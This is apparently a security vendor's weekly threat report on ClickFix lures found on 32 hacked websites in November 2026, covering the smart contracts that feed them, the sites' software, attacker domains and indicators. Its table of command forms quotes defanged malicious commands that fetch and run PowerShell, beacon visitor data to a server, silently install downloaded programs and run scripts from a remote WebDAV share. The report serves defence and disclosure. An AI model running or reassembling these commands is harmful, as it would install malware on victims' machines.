Home / Research / ClickFix report, 5–11 November 2026

ClickFix report: 32 hacked sites, 11 smart contracts behind them.

Regularly we publish what ByteMantle's research browsers met on live ClickFix pages: which sites were hacked, what they run, which smart contracts feed them, where the commands download from and how it connects.

Research · 11 November 2026 · Based on pages opened in ByteMantle research browsers from a public list of ClickFix sites, 5–11 November 2026. Numbers count distinct sites. Indicators are defanged on this page. The sites that served the lure are named only in the downloadable lists, each with the date we saw it.

In short

  • 32 websites showed a ClickFix lure; 22 of them put a command on the visitor's clipboard.
  • 22 sites read their lure from one of 11 smart contracts (EtherHiding); one contract alone fed 6 sites.
  • Of the 23 sites whose software we could identify, 5 report a version with flaws exploited in the wild and 3 run software that no longer gets security updates.
  • 8 of the 22 sites served a command that downloads from a service everybody trusts.

Want your browsers to stop this at the paste? The ByteMantle extension reads every command a page puts on the clipboard and replaces a dangerous one before you can paste it. Get the extension — free.

The numbers

A ClickFix lure on the page32A command put on the clipboard22The lure read from a smart contract22A domain registered in the last 30 days18
Distinct sites, 5–11 November 2026. A site counts once, however often it was opened.

Not counted: 10 more pages where only the page scan saw lure wording, with no command and no contract read. Some of them are articles and videos about ClickFix, so we do not call them hacked.

Since the last report (2026-11-02 – 2026-11-05)

  • Sites with a lure: 32 (last time 38); with a command on the clipboard: 22 (last time 28).
  • Last time every page with lure wording was counted; since this report a site counts only with evidence of the attack on it (a command, a contract read or a confirmed lure), so the numbers are not directly comparable.
  • Smart contracts: 4 new, 7 still in use, 1 not seen this time.
  • Attacker domains: 9 new, 9 seen again.

The hacked sites and what they run

The lures are on real websites of real organisations, with a script added that draws a fake "Verify you are human" box over the real page. Our browsers record the software each site reports about itself.

20210WordPress (20)Joomla (2)Magento (1)not identified (10)
Content management system of the 32 hacked sites, as the sites report it.
Software identified23A version with actively exploited flaws (CISA KEV)5Software past its end of support3
Of 32 sites. Versions are what each site reports; a host can patch without changing the version, so these are possible flaws, not proof.
Software (reported version)SitesKnown flawsActively exploited (CISA KEV)Worst CVSSSecurity updates
wordpress 6.9.11449.8supported
php 8.0.301429.8ended 2023-11-26
php 7.4.331529.8ended 2022-11-28
php 8.2.2812929.5ends 2026-12-31
php 8.1.341229.2ended 2025-12-31
wordpress 6.9.101118.1supported

This does not say how each site was broken into: stolen passwords and vulnerable plugins are just as common. It says that the sites hosting these lures were often not well looked after.

Indonesia2India1United Kingdom1Brazil1Australia1South Africa1Generic endings such as .com and .org25
Hacked sites by the country of their domain ending; most use a generic ending that says nothing about the country.

The smart contracts behind the lures

On 22 sites the added script asks a smart contract on a public blockchain where the lure is, every time the page loads (EtherHiding). The attackers change one value and every hacked site shows the new lure; nobody can take a contract down.

ContractBlockchainSitesSeen
0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2Polygon62026-11-05 – 2026-11-11
0xb29927b7d854b232d5e58cfc201866376e68c676Polygon52026-11-05 – 2026-11-06
0xf70730a4e5b89b6c6e02edaed582badf6465e9d9Polygon52026-11-05 – 2026-11-05
0xdf132e2893824e26ec8ae8014b4f4facd54ed67fBSC Testnet22026-11-05 – 2026-11-05
0xff9e792a3015a79340cdec1847ab0aa10560422aPolygon22026-11-09 – 2026-11-09
0xa1decfb75c8c0ca28c10517ce56b710baf727d2eBSC Testnet12026-11-05 – 2026-11-05
0x46790e2ac7f3ca5a7d1bfce312d11e91d23383ffBSC Testnet12026-11-05 – 2026-11-05
0xf4a32588b50a59a82fba148d436081a48d80832aBSC Testnet12026-11-05 – 2026-11-05
0x58460d0b3d4d6b03761c89120393c0c676676496Base12026-11-06 – 2026-11-06
0x83833c5d676ca06e941a32310ae67d0890f657eePolygon12026-11-09 – 2026-11-09
0xbab25ced421128c427ad19914473566633894dd5Polygon12026-11-09 – 2026-11-09

4 site(s) read more than one contract, so the column adds up to 26 for 22 sites.

11.0511.0611.0711.0811.0911.1011.110xb6bc…c1f2Polygon4codes.browse-cdn[.]beer11→ browse-nnccodes[.]beer0xb299…c676Polygon410xf707…e9d9Polygon50xdf13…d67fBSC Testnet20xff9e…422aPolygon20xa1de…7d2eBSC Testnet1
Each row: a contract; each dot: a day it was read, with the number of sites. Under a dot: the server the contract pointed to, when it changed.

How it connects

The same contract means the same operation. Following each contract to the sites that read it, and from there to what their commands download, shows separate campaigns with their own habits — the way the investigation graph in the ByteMantle console shows it for your own browsers.

Smart contractHacked sitesDownloads fromCommand form0xb6bc…c1f2Polygon6siteslepafonso[.]bz · 1codes.browse-cdn[.]beer · 1Vercel · 1Google Apps Script · 1browse-nnccodes[.]beer · 1PowerShell: download and run · 2Obfuscated PowerShell · 1Reports the visitor, then downloads · 10xb299…c676Polygon5sitesgovrobczxc[.]cc · 4PowerShell: download and run · 40xf707…e9d9Polygon5sitesVercel · 4Google Apps Script · 4Reports the visitor, then downloads · 40xdf13…d67fBSC Testnet2sitesjsDelivr (files from GitHub) · 2PowerShell: download and run · 20xff9e…422aPolygon2sitesno command seen—0xa1de…7d2eBSC Testnet1siteno command seen—0x4679…83ffBSC Testnet1sitegithack (files from GitHub / GitLab) · 1PowerShell: download and run · 10xf4a3…832aBSC Testnet1sitejsDelivr (files from GitHub) · 1PowerShell: download and run · 10x5846…6496Base1siteno command seen—0x8383…57eePolygon1siteno command seen—0xbab2…4dd5Polygon1siteno command seen—no contract seenlure in the site itself7sitesupdate.neewsoo[.]com · 1185.246.223[.]71 · 1alababababa[.]cloud · 1Vercel · 1Google Apps Script · 1security-malware[.]com · 1Installer to Temp, installed silently · 1Network drive over WebDAV · 1PowerShell: download and run · 1Reports the visitor, then downloads · 1Program to Temp, started · 1Obfuscated PowerShell · 1
Each row: a smart contract, the sites that read it, where their commands download from and the form of the command (number of sites).
  • The biggest operation (Polygon contract 0xb6bc…c1f2, 6 sites): lepafonso[.]bz, codes.browse-cdn[.]beer; PowerShell: download and run.

Where the commands download from

Google Apps Script5Vercel5jsDelivr (files from GitHub)2githack (files from GitHub / GitLab)1Domains of the attackers10
Sites, by the service their command downloads from.

For security teams: blocking these services is not an option, and the attackers' own addresses change weekly. What does not change is the shape of the command: a shell, a download, an execution, put on the clipboard by a web page.

The commands, by form

PowerShell: download and run11Reports the visitor, then downloads5Obfuscated PowerShell3Program to Temp, started1Installer to Temp, installed silently1Network drive over WebDAV1
Sites, by the form of the command.
FormSitesExample (shortened, defanged)
PowerShell: download and run11irm https://govrobczxc[.]cc/cdn/sync/traffic?r=4764|iex
Reports the visitor, then downloads5cmd[.]exe /c "curl[.]exe -sL -d ""id=…"" -d ""location=…"" -d ""siteUrl=https%3A%2F%2Fwww.[hacked site]%2F"" -d ""os=win11"" -d ""lastVisitAt=2026-11-05T13%3A17%3A58.8 …
Obfuscated PowerShell3(irm 'https://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e' -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126. …
Program to Temp, started1cmd /c start /max [hacked site]/verification[.]php && curl -k -o %temp%\install[.]exe https://security-malware[.]com/index[.]html && start %temp%\install[.]exe && echo …
Installer to Temp, installed silently1cmd /c curl -gkso %TEMP%\wud[.]msi https://update.neewsoo[.]com/dl/kb1000013[.]msi?v=c15c541c16c4 && msiexec /i %TEMP%\wud[.]msi /qn
Network drive over WebDAV1cmd /c net use Z: http://185.246.223[.]71/webdav /persistent:no && "Z:\update[.]cmd" & net use Z: /delete

The attackers' domains

The download servers and lure servers that belong to the attackers themselves: 18 this time. Half of those with a known registration date are younger than 12 days. The registration date of 2 of them is not known to the console yet.

Under 7 days27 to 30 days830 days to 1 year6Over 1 year0Unknown2
Age of the attackers’ domains at the end of the period, from their registration date.

New this time

  • One contract, a new download server every few days. The busiest Polygon contract pointed to a domain registered 13 hours before its first use, then to a second one registered two days before. How it works.
  • The visitor is reported before the download. Five hacked sites served the same command, which first sends an id, the Windows version and the hacked site to one Google Apps Script project. The beacon.
  • Six ways past irm | iex. A shared network drive, a silent installer, an executable in Temp, an HTML application, encoded layers and a public code CDN. The six methods.
  • A fake "Claude early access" page again, on a domain registered about a month before: AI tools remain a favourite bait.

How to protect your people and your site

  • Tell your people the one rule: no real website ever asks you to press Windows + R, open Terminal or paste something to prove you are human.
  • Stop it at the paste. ByteMantle reads what a page puts on the clipboard, recognises the command by its shape (not by its domain) and replaces it with a harmless message.
  • Run a website? Keep the CMS, its plugins and PHP up to date. Open your own site with the ByteMantle extension: a lure or a contract read on your own pages means it was hacked. Our SC research explains how to check and clean.

Indicators

For your SIEM or threat-intelligence platform:

IndicatorRoleDomain age
browse-nnccodes[.]beerdownload, lure server2 days
codes.browse-cdn[.]beerdownload, lure server6 days
govrobczxc[.]ccdownload8 days
cloudflareconfirm[.]comdownload9 days
onchaindocfile[.]comlure page9 days
docsign[.]bloglure page9 days
pumpadmin[.]fundownload10 days
frclau[.]comscript host loaded into hacked pages11 days
maplezenith[.]livelure page14 days
online.projectsupportik[.]toplure page20 days
claudeearlyaccess-fable[.]cfdlure page30 days
threejrev[.]comdownload32 days
update.neewsoo[.]comdownload69 days
alababababa[.]clouddownload83 days
makeverizyjar[.]infolure server99 days
security-malware[.]comdownload136 days
185.246.223[.]71download
lepafonso[.]bzdownload

The two "Sites that served the lure" lists name the 31 hacked sites and the 5 lure pages the attackers registered themselves, with the exact address and the dates we saw each one (1 site of a private person is counted but not listed). A site is listed because it served the lure when our research browsers opened it: the owner may have cleaned it since. The lists come only from ByteMantle's research browsers, never from what our customers' browsers see.

Own one of these sites? Check and clean it (our SC research explains how), then write to info@bytemantle.com and we update the list.

How we collect this

We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. Every number comes from the ByteMantle console's threat report for those browsers: what the extension recorded on the pages, and what the console knows about the software and known flaws of the sites (NVD, OSV, CISA KEV, endoflife.date). A site counts once, however many times we opened it.

Stop these attacks before anything runs.

Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it.

Get the extension — free